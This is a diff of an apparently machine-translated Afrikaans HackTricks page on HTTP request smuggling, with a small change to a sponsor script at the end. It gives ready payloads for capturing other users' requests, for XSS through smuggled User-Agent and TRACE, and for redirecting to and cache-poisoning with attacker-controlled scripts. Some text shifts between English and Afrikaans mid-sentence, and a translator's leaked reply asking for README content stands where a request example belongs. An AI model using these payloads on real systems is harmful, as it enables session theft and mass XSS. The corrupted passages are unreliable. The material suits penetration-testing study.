-### Front-end versoekherskryfing openbaar <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
+### Ontbloot front-end versoek-herschrywing <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
 
-Toepassings maak dikwels gebruik van 'n **front-end server** om inkomende versoeke te wysig voordat hulle aan die back-end server oorgedra word. 'n Tipiese wysiging behels die byvoeging van headers, soos `X-Forwarded-For: <IP of the client>`, om die kliënt se IP aan die back-end deur te gee. Om hierdie wysigings te verstaan kan beslissend wees, aangesien dit maniere kan openbaar om **beskermings te omseil** of **verborgen inligting of eindpunte te openbaar**.
+Toepassings gebruik dikwels 'n **front-end server** om inkomende versoeke te wysig voordat hulle aan die back-end server gestuur word. 'n Tipiese wysiging behels die byvoeging van headers, soos `X-Forwarded-For: <IP of the client>`, om die kliënt se IP aan die back-end deur te gee. Om hierdie wysigings te verstaan kan krities wees, aangesien dit maniere kan blootlê om **beskermings te omseil** of **verborge inligting of endpunte te ontdek**.
 
-Om te ondersoek hoe 'n proxy 'n versoek verander, lokaliseer 'n POST-parameter wat die back-end in die antwoord weerspieël. Vorm dan 'n versoek waarin jy hierdie parameter laaste gebruik, soortgelyk aan die volgende:
+Om te ondersoek hoe 'n proxy 'n versoek wysig, lokaliseer 'n POST-parameter wat die back-end in die respons terugstuur. Skep dan 'n versoek en gebruik hierdie parameter laaste, soortgelyk aan die volgende:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -451,19 +499,19 @@ Content-Length: 100
 
 search=
 ```
-In hierdie struktuur word daaropvolgende versoek-komponente aangeheg na `search=`, wat die parameter is wat in die antwoord weerspieël word. Hierdie weerspieëling sal die headers van die daaropvolgende versoek openbaar.
+In hierdie struktuur word daaropvolgende request-komponente aangeheg na `search=`, wat die parameter is wat in die response weerspieël word. Hierdie refleksie sal die headers van die daaropvolgende request blootlê.
 
-Dit is belangrik om die `Content-Length` header van die geneste versoek in lyn te bring met die werklike inhoudslengte. Begin met 'n klein waarde en verhoog geleidelik — dit is raadsaam, aangesien te lae 'n waarde die weerspieëlde data kan afkap, terwyl te hoë 'n waarde die versoek kan laat misluk.
+Dit is belangrik om die `Content-Length` header van die geneste request te belyn met die werklike lengte van die inhoud. Dit is raadsaam om met 'n klein waarde te begin en dit geleidelik te verhoog, aangesien 'n te lae waarde die weerspieëlde data sal afkapp, terwyl 'n te hoë waarde die request 'n fout kan laat gee.
 
-Hierdie tegniek is ook toepaslik in die konteks van 'n TE.CL-kwesbaarheid, maar die versoek moet eindig met `search=\r\n0`. Ongeag die reëlbreukkarakters sal die waardes by die search-parameter aangeheg word.
+Hierdie tegniek is ook van toepassing in die konteks van 'n TE.CL kwetsbaarheid, maar die request moet eindig met `search=\r\n0`. Ongeag die newline-karakters, sal die waardes by die search-parameter aangeheg word.
 
-Hierdie metode dien hoofsaaklik om die versoek-wysigings wat deur die front-end proxy gemaak word, te verstaan — dit voer in wese 'n selfgedrewe ondersoek uit.
+Hierdie metode dien hoofsaaklik om die request-wijzigings wat deur die front-end proxy gemaak word te verstaan, en voer in wese 'n selfgedrewe ondersoek uit.
 
-### Vasvang van ander gebruikers se versoeke <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
+### Vaslegging van ander gebruikers se requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
 
-Dit is moontlik om die versoeke van die volgende gebruiker te vang deur 'n spesifieke versoek as die waarde van 'n parameter tydens 'n POST-operasie aan te heg. So kan dit bereik word:
+Dit is moontlik om die requests van die volgende gebruiker vas te lê deur 'n spesifieke request as die waarde van 'n parameter tydens 'n POST-operasie aan te heg. Só kan dit bereik word:
 
-Deur die volgende versoek as die waarde van 'n parameter aan te heg, kan jy die daaropvolgende kliënt se versoek stoor:
+Deur die volgende request as die waarde van 'n parameter aan te heg, kan jy die daaropvolgende client se request stoor:
 ```
 POST / HTTP/1.1
 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@@ -483,20 +531,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
 
 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-In hierdie scenario is die **comment-parameter** bedoel om die inhoud binne 'n pos se kommentaarafdeling op 'n publiek toeganklike bladsy te stoor. Gevolglik sal die inhoud van die daaropvolgende versoek as 'n kommentaar verskyn.
+In hierdie scenario is die **kommentaarparameter** bedoel om die inhoud binne 'n plasing se kommentaargedeelte op 'n publiek toeganklike bladsy te stoor. Gevolglik sal die inhoud van die daaropvolgende versoek as 'n kommentaar verskyn.
 
-Hierdie tegniek het egter beperkings. Oor die algemeen vang dit data slegs tot by die parameter-afskeider wat in die gesmokkelde versoek gebruik word. Vir URL-gekodeerde formulierindienings is hierdie afskeider die `&` karakter. Dit beteken die vasgevangde inhoud van die slagoffer se versoek sal by die eerste `&` stop, wat selfs deel van die query string kan wees.
+Hierdie tegniek het egter beperkings. In die algemeen kap dit data slegs tot by die parameterafskeider wat in die gesmokkelde versoek gebruik word. Vir URL-encoded form submissions is hierdie afskeider die `&` karakter. Dit beteken die vasgevangde inhoud van die slagoffer se versoek sal by die eerste `&` stop, wat selfs deel van die query string kan wees.
 
-Verder is dit die moeite werd om te noem dat hierdie benadering ook werk met 'n TE.CL kwesbaarheid. In sulke gevalle moet die versoek eindig met `search=\r\n0`. Ongeag newline-karakters, sal die waardes by die search-parameter gevoeg word.
+Dit is ook die moeite werd om te noem dat hierdie benadering ook werkbaar is met 'n TE.CL kwetsbaarheid. In sulke gevalle moet die versoek eindig met `search=\r\n0`. Ongeag reëlbreekkarakters, sal die waardes by die search parameter gevoeg word.
 
-### Gebruik van HTTP Request Smuggling om Reflected XSS te misbruik
+### Gebruik van HTTP Request Smuggling om Reflected XSS te benut
 
-HTTP Request Smuggling kan gebruik word om webblaaie wat kwesbaar is vir **Reflected XSS** uit te buit, en bied beduidende voordele:
+HTTP Request Smuggling kan gebruik word om webbladsye wat vatbaar is vir **Reflected XSS** uit te buit, en bied beduidende voordele:
 
-- Interaksie met die teikengebruikers is **nie benodig nie**.
+- Interaksie met die teikengebruikers is **nie nodig nie**.
-- Dit maak dit moontlik om XSS uit te buit in dele van die versoek wat **gewoonlik onbereikbaar** is, soos HTTP request headers.
+- Laat die uitbuiting van XSS toe in dele van die versoek wat **gewoonlik ontoeganklik** is, soos HTTP request headers.
 
-In scenario's waar 'n webwerf vatbaar is vir Reflected XSS deur die User-Agent header, demonstreer die volgende payload hoe om hierdie kwesbaarheid te misbruik:
+In gevalle waar 'n webwerf vatbaar is vir Reflected XSS deur die User-Agent header, toon die volgende payload hoe om hierdie kwetsbaarheid uit te buit:
 ```
 POST / HTTP/1.1
 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@@ -519,34 +567,34 @@ A=
 ```
 Hierdie payload is gestruktureer om die kwesbaarheid uit te buit deur:
 
-1. Initieer 'n `POST` request, skynbaar tipies, met 'n `Transfer-Encoding: chunked` header om die begin van smuggling aan te dui.
+1. Initiating a `POST` request, seemingly typical, with a `Transfer-Encoding: chunked` header to indicate the start of smuggling.
-2. Daarna 'n `0`, wat die einde van die chunked boodskapliggaam aandui.
+2. Following with a `0`, marking the end of the chunked message body.
-3. Dan word 'n smuggled `GET` request ingevoer, waar die `User-Agent` header met 'n script ingespuit word, `<script>alert(1)</script>`, wat die XSS aktiveer wanneer die bediener hierdie daaropvolgende request verwerk.
+3. Then, a smuggled `GET` request is introduced, where the `User-Agent` header is injected with a script, `<script>alert(1)</script>`, triggering the XSS when the server processes this subsequent request.
 
-Deur die `User-Agent` deur smuggling te manipuleer, omseil die payload normale request-beperkings en benut dus die Reflected XSS-kwesbaarheid op 'n nie-standaard maar effektiewe wyse.
+By manipulating the `User-Agent` through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.
 
 #### HTTP/0.9
 
 > [!CAUTION]
-> As die gebruikerinhoud in 'n response gereflekteer word met 'n **`Content-type`** soos **`text/plain`**, kan dit die uitvoering van die XSS voorkom. As die bediener **HTTP/0.9** ondersteun, mag dit moontlik wees om dit te omseil!
+> In case the user content is reflected in a response with a **`Content-type`** such as **`text/plain`**, preventing the execution of the XSS. If the server support **HTTP/0.9 it might be possible to bypass this**!
 
-Die weergawe HTTP/0.9 was vroeër as 1.0 en gebruik slegs **GET**-werkwoorde en **reageer nie** met **headers** nie, net die liggaam.
+Die weergawe HTTP/0.9 het HTTP/1.0 voorafgegaan en gebruik slegs **GET**-versoeke en **reageer nie** met **headers** nie — net die body.
 
-In [**this writeup**](https://mizu.re/post/twisty-python), is dit misbruik met request smuggling en 'n **kwetsbare endpoint wat met die gebruiker se inset sal antwoord** om 'n request met HTTP/0.9 te smuggle. Die parameter wat in die response gereflekteer sal word, het 'n **vals HTTP/1.1 response (with headers and body)** bevat, sodat die response geldige uitvoerbare JS-kode sal bevat met 'n `Content-Type` van `text/html`.
+In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint that will reply with the input of the user** to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a **fake HTTP/1.1 response (with headers and body)** so the response will contain valid executable JS code with a `Content-Type` of `text/html`.
 
-### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
+### Uitbuiting van On-site Redirects met HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
 
-Aplikasies herlei dikwels vanaf een URL na 'n ander deur die hostname uit die `Host`-header in die herleidings-URL te gebruik. Dit is algemeen by webservers soos Apache en IIS. Byvoorbeeld, om 'n gids te vra sonder 'n trailing slash lei tot 'n herleiding om die / in te sluit:
+Toepassings herlei dikwels van een URL na 'n ander deur die hostname uit die `Host` header in die redirect URL te gebruik. Dit is algemeen by webservers soos Apache en IIS. Byvoorbeeld, om 'n folder te versoek sonder 'n trailing slash lei tot 'n redirect om die slash in te sluit:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
 ```
-Leid tot:
+Lei tot:
 ```
 HTTP/1.1 301 Moved Permanently
 Location: https://normal-website.com/home/
 ```
-Hoewel dit skynbaar onskadelik is, kan hierdie gedrag gemanipuleer word met behulp van HTTP request smuggling om gebruikers na 'n eksterne webwerf te herlei. Byvoorbeeld:
+Al lyk dit onskuldig, kan hierdie gedrag gemanipuleer word deur HTTP request smuggling om gebruikers na 'n eksterne webwerf te herlei. Byvoorbeeld:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -560,29 +608,29 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-Hierdie gesmokkelde versoek kan veroorsaak dat die volgende verwerkte gebruikersversoek herlei word na ’n webwerf wat deur ’n aanvaller beheer word:
+Hierdie smuggled request kan veroorsaak dat die volgende verwerkte user request na ’n attacker-controlled website herlei word:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: XGET /scripts/include.js HTTP/1.1
 Host: vulnerable-website.com
 ```
-Gevolg:
+Lei tot:
 ```
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-In hierdie scenario word 'n gebruiker se versoek vir 'n JavaScript-lêer gekaap. Die aanvaller kan moontlik die gebruiker kompromitteer deur kwaadwillige JavaScript as antwoord te bedien.
+In hierdie scenario word 'n gebruiker se versoek vir 'n JavaScript-lêer gekaap. Die aanvaller kan die gebruiker moontlik kompromitteer deur kwaadwillige JavaScript as antwoord te bedien.
 
-### Uitbuiting van Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Web Cache Poisoning kan uitgevoer word as enige komponent van die **front-end infrastructure caches content** inhoud kas, gewoonlik om prestasie te verbeter. Deur die bediener se antwoord te manipuleer, is dit moontlik om die kas te vergiftig.
+Web cache poisoning kan uitgevoer word as enige komponent van die **front-end infrastructure caches content** aanwesig is, gewoonlik om prestasie te verbeter. Deur die bediener se reaksie te manipuleer, is dit moontlik om **poison the cache**.
 
-Eerder het ons gesien hoe bediener-antwoorde verander kan word om 'n 404-fout terug te gee (verwys na [Basic Examples](#basic-examples)). Op dieselfde wyse is dit haalbaar om die bediener te mislei om die inhoud van `/index.html` te lewer as antwoord op 'n versoek vir `/static/include.js`. Gevolglik word die inhoud van `/static/include.js` in die kas vervang deur dié van `/index.html`, wat `/static/include.js` ontoeganklik vir gebruikers maak en moontlik lei tot 'n Denial of Service (DoS).
+Voorheen het ons gesien hoe bedienerreaksies verander kan word om 'n 404-fout terug te gee (verwys na [Basic Examples](#basic-examples)). Op 'n soortgelyke wyse is dit moontlik om die bediener te mislei om die inhoud van `/index.html` terug te stuur as reaksie op 'n versoek vir `/static/include.js`. Gevolglik word die inhoud van `/static/include.js` in die cache vervang deur dié van `/index.html`, wat `/static/include.js` ontoeganklik vir gebruikers maak en moontlik lei tot 'n Denial of Service (DoS).
 
-Hierdie tegniek word besonder kragtig as 'n **Open Redirect vulnerability** gevind word of as daar 'n **on-site redirect to an open redirect** is. Sulke kwesbaarhede kan uitgebuit word om die gekasde inhoud van `/static/include.js` te vervang met 'n script onder die aanvaller se beheer, wat in wese 'n wye verspreide Cross-Site Scripting (XSS)-aanval teen alle kliënte wat die opgedateerde `/static/include.js` versoek, moontlik maak.
+Hierdie tegniek raak besonder gevaarlik as 'n **Open Redirect vulnerability** gevind word of as daar 'n **on-site redirect to an open redirect** is. Sulke kwesbaarhede kan uitgebuit word om die gecachte inhoud van `/static/include.js` te vervang met 'n skrip onder die aanvaller se beheer, wat effektief 'n wye-sporige Cross-Site Scripting (XSS) aanval teen alle kliënte wat die opgedateerde `/static/include.js` versoek, moontlik maak.
 
-Hieronder is 'n illustrasie van die uitbuiting van **cache poisoning combined with an on-site redirect to open redirect**. Die doel is om die kasinhoud van `/static/include.js` te verander om JavaScript-kode te bedien wat deur die aanvaller beheer word:
+Below is an illustration of exploiting **cache poisoning combined with an on-site redirect to open redirect**. The objective is to alter the cache content of `/static/include.js` to serve JavaScript code controlled by the attacker:
 ```
 POST / HTTP/1.1
 Host: vulnerable.net
@@ -600,20 +648,20 @@ Content-Length: 10
 
 x=1
 ```
-Let op die ingeslote versoek wat teiken na `/post/next?postId=3`. Hierdie versoek sal herlei word na `/post?postId=4`, deur gebruik te maak van die **Host header value** om die domein te bepaal. Deur die **Host header** te verander, kan die aanvaller die versoek na hul domein herlei (**on-site redirect to open redirect**).
+Let op die ingeslote versoek wat gemik is op `/post/next?postId=3`. Hierdie versoek sal herlei word na `/post?postId=4`, deur die **Host header value** te gebruik om die domein te bepaal. Deur die **Host header** te verander, kan die aanvaller die versoek na hul domein herlei (**on-site redirect to open redirect**).
 
-Na suksesvolle **socket poisoning**, moet 'n **GET request** vir `/static/include.js` geïnisieer word. Hierdie versoek sal besoedel word deur die vorige **on-site redirect to open redirect** versoek en die inhoud van die deur die aanvaller beheerde script haal.
+Na 'n suksesvolle **socket poisoning** moet 'n **GET request** vir `/static/include.js` gestuur word. Hierdie versoek sal gekontamineer word deur die vorige **on-site redirect to open redirect** versoek en sal die inhoud van die deur die aanvaller beheerde skrip laai.
 
-Daarna sal enige versoek vir `/static/include.js` die gestoorde inhoud van die aanvaller se script bedien, wat effektief 'n wye XSS-aanval ontketen.
+Daarna sal enige versoek vir `/static/include.js` die gecachte inhoud van die aanvaller se skrip bedien, wat effektief 'n wye XSS attack ontketen.
 
-### Gebruik van HTTP request smuggling om web cache deception uit te voer <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
+### Gebruik HTTP request smuggling om web cache deception uit te voer <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
 
 > **Wat is die verskil tussen web cache poisoning en web cache deception?**
 >
-> - In **web cache poisoning**, die aanvaller veroorsaak dat die toepassing sekere kwaadwillige inhoud in die cache stoor, en hierdie inhoud word uit die cache aan ander toepassingsgebruikers bedien.
+> - In **web cache poisoning**, die aanvaller veroorsaak dat die toepassing sekere kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander toepassingsgebruikers bedien.
-> - In **web cache deception**, die aanvaller veroorsaak dat die toepassing sensitiewe inhoud van 'n ander gebruiker in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
+> - In **web cache deception**, die aanvaller veroorsaak dat die toepassing sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
 
-Die aanvaller vervaardig 'n gesmokkelde versoek wat sensitiewe gebruiker-spesifieke inhoud ophaal. Oorweeg die volgende voorbeeld:
+Die aanvaller vervaardig 'n smuggled request wat sensitiewe gebruikerspesifieke inhoud ophaal. Oorweeg die volgende voorbeeld:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@@ -624,17 +672,17 @@ Die aanvaller vervaardig 'n gesmokkelde versoek wat sensitiewe gebruiker-spesifi
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-As hierdie gesmokkelde request 'n cache-inskrywing wat bedoel is vir statiese inhoud (bv. `/someimage.png`) vergiftig, kan die slagoffer se sensitiewe data van `/private/messages` onder die statiese inhoud se cache-inskrywing geberg word. Gevolglik kan die aanvaller moontlik daardie in die cache gebergde sensitiewe data terugkry.
+As hierdie gesmokkelde versoek 'n cache entry vergiftig wat bedoel is vir static content (bv., `/someimage.png`), kan die slagoffer se sensitiewe data van `/private/messages` onder die static content se cache entry in die cache gestoor word. Gevolglik kan die aanvaller moontlik hierdie data uit die cache terugkry.
 
 ### Misbruik van TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-[**In this post**](https://portswigger.net/research/trace-desync-attack) stel voor dat as die server die metode TRACE geaktiveer het, dit moontlik kan wees om dit met 'n HTTP Request Smuggling te misbruik. Dit is omdat hierdie metode enige header wat na die server gestuur word as deel van die response body sal terugspieël. Byvoorbeeld:
+[**In this post**](https://portswigger.net/research/trace-desync-attack) word voorgestel dat as die bediener die method TRACE geaktiveer het, dit moontlik is om dit met 'n HTTP Request Smuggling te misbruik. Dit is omdat hierdie method enige header wat na die bediener gestuur word as deel van die body van die response sal reflekteer. Byvoorbeeld:
 ```
 TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-Stuur asseblief die inhoud van src/pentesting-web/http-request-smuggling/README.md wat jy in Afrikaans vertaal wil hê.
+Please paste the README.md content you want translated. I will translate the English text to Afrikaans and preserve all markdown/html, code, tags, links, and paths exactly as you specified (won't translate code, technique names, cloud/SaaS names, the word "leak", pentesting, links/paths, or tags).
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@@ -645,15 +693,15 @@ Host: vulnerable.com
 XSS: <script>alert("TRACE")</script>
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent dat**a.\
+An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. Hierdie request sal slegs met die **headers** van 'n GET request beantwoord word (**`Content-Type`** onder hulle). En smuggle **immediately after the HEAD a TRACE request**, wat die gestuurde data sal weerspieël.\
-Aangesien die HEAD response `n `Content-Length` header sal bevat, sal die **response van die TRACE request as die body van die HEAD response behandel word, en dus arbitrêre data in die response weerspieël**.\
+Aangesien die HEAD-response 'n `Content-Length` header sal bevat, sal die **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in die response.\
-Hierdie response sal na die volgende request oor die verbinding gestuur word, so dit kan **byvoorbeeld in 'n gecachede JS-lêer gebruik word om arbitrêre JS-kode in te voeg**.
+Hierdie response sal na die volgende request oor die verbinding gestuur word, dus kan dit byvoorbeeld gebruik word in 'n gecachede JS-lêer om arbitrêre JS-kode in te spuit.
 
-### Misbruik van TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Dit word voorgestel om [**hierdie pos**](https://portswigger.net/research/trace-desync-attack) te volg vir 'n ander manier om die TRACE-metode te misbruik. Soos bespreek, deur 'n HEAD request en 'n TRACE request te smuggle is dit moontlik om **sekere weerspieëlde data te beheer** in die response op die HEAD request. Die lengte van die body van die HEAD request word basies aangedui in die `Content-Length` header en word gevorm deur die response van die TRACE request.
+Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. Soos kommentaar aandui, deur 'n HEAD-request en 'n TRACE-request te smuggle, is dit moontlik om sekere weerspieëlde data in die response op die HEAD-request te beheer. Die lengte van die body van die HEAD-request word basies aangedui in die Content-Length header en word gevorm deur die response op die TRACE-request.
 
-Dus, die nuwe idee sou wees dat, as hierdie `Content-Length` en die data in die TRACE-response bekend is, dit moontlik is om die TRACE-response 'n geldige HTTP response te laat bevat ná die laaste byte van die Content-Length, wat 'n aanvaller toelaat om die request na die volgende response heeltemal te beheer (wat gebruik kan word om cache poisoning uit te voer).
+Daarom is die nuwe idee dat, wanneer jy hierdie Content-Length en die data in die TRACE-response ken, dit moontlik is om die TRACE-response 'n geldige HTTP-response ná die laaste byte van die Content-Length te laat bevat, waardeur 'n aanvaller die versoek na die volgende response volledig kan beheer (wat gebruik kan word om cache poisoning uit te voer).
 
 Example:
 ```
@@ -674,7 +722,7 @@ Content-Length: 44\r\n
 \r\n
 <script>alert("response splitting")</script>
 ```
-Sal hierdie responses genereer (let op hoe die HEAD response 'n Content-Length het wat die TRACE response deel van die HEAD body maak, en sodra die HEAD Content-Length eindig, word 'n geldige HTTP response gesmokkel):
+Sal hierdie responses genereer (let hoe die HEAD response 'n Content-Length het wat die TRACE response deel van die HEAD-body maak en sodra die HEAD Content-Length eindig, 'n geldige HTTP response gesmuggel word):
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@@ -695,16 +743,16 @@ Content-Length: 50
 
 <script>alert(“arbitrary response”)</script>
 ```
-### Wapenisering van HTTP Request Smuggling met HTTP Response Desynchronisation
+### Wapenmaak van HTTP Request Smuggling met HTTP Response Desynchronisation
 
-Het jy 'n HTTP Request Smuggling kwesbaarheid gevind en weet nie hoe om dit uit te buit nie? Probeer hierdie ander metodes van uitbuiting:
+Het jy 'n HTTP Request Smuggling kwesbaarheid gevind en weet jy nie hoe om dit te benut nie? Probeer hierdie ander metodes van uitbuiting:
 
 
 {{#ref}}
 ../http-response-smuggling-desync.md
 {{#endref}}
 
-### Ander HTTP Request Smuggling Tegnieke
+### Ander HTTP Request Smuggling Techniques
 
 - Browser HTTP Request Smuggling (Client Side)
 
@@ -720,7 +768,7 @@ browser-http-request-smuggling.md
 request-smuggling-in-http-2-downgrades.md
 {{#endref}}
 
-## Turbo intruder skripte
+## Turbo intruder scripts
 
 ### CL.TE
 
@@ -809,14 +857,14 @@ table.add(req)
 ```
 ## Gereedskap
 
-- HTTP Hacker (Burp BApp Store) – visualiseer concatenation/framing en laagvlak HTTP-gedrag
+- HTTP Hacker (Burp BApp Store) – visualiseer konkatenasie/inkadering en laevlak HTTP-gedrag
 - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
 - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
-- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Hierdie hulpmiddel is 'n grammatika-gebaseerde HTTP Fuzzer wat nuttig is om vreemde request smuggling-afwykings op te spoor.
+- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Hierdie hulpmiddel is 'n grammatika-gebaseerde HTTP Fuzzer nuttig om vreemde request smuggling-ongelykhede te vind.
 
 ## Verwysings
 
@@ -829,10 +877,11 @@ table.add(req)
 - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
 - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
 - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
-- Pasop vir die vals vals-positief: hoe om HTTP pipelining van request smuggling te onderskei – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
+- Waak teen die valse vals-positief: hoe om HTTP pipelining van request smuggling te onderskei – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
 - [https://http1mustdie.com/](https://http1mustdie.com/)
 - Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
 - PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
+- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
 
 
 {{#include ../../banners/hacktricks-training.md}}

theme/sponsor.js

@@ -15,7 +15,8 @@
   var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
 
   async function getSponsor() {
-    const url = "https://book.hacktricks.wiki/sponsor"
+    const currentUrl = encodeURIComponent(window.location.href);
+    const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
     try {
       const response = await fetch(url, { method: "GET" })
       if (!response.ok) {